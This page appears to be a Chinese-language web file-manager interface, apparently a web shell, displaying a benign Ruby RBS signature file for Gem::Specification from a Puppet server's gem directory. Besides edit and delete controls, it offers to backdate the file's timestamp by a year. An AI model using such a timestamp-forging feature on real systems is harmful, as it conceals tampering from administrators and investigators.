文件操作 - specification.rbs
返回文件管理
返回主菜单
删除本文件
文件: /opt/puppetlabs/puppet/lib/ruby/gems/3.2.0/gems/rbs-2.8.2/core/rubygems/specification.rbs
编辑文件内容
# <!-- rdoc-file=lib/rubygems/specification.rb --> # The Specification class contains the information for a gem. Typically defined # in a .gemspec file or a Rakefile, and looks like this: # # Gem::Specification.new do |s| # s.name = 'example' # s.version = '0.1.0' # s.licenses = ['MIT'] # s.summary = "This is an example!" # s.description = "Much longer explanation of the example!" # s.authors = ["Ruby Coder"] # s.email = 'rubycoder@example.com' # s.files = ["lib/example.rb"] # s.homepage = 'https://rubygems.org/gems/example' # s.metadata = { "source_code_uri" => "https://github.com/example/example" } # end # # Starting in RubyGems 2.0, a Specification can hold arbitrary metadata. See # #metadata for restrictions on the format and size of metadata items you may # add to a specification. # class Gem::Specification < Gem::BasicSpecification end
修改文件时间
将文件时间修改为当前时间的前一年
删除文件